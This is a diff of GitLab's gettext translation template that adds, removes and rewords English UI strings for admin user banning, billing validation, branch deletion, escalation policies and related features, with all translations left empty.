msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
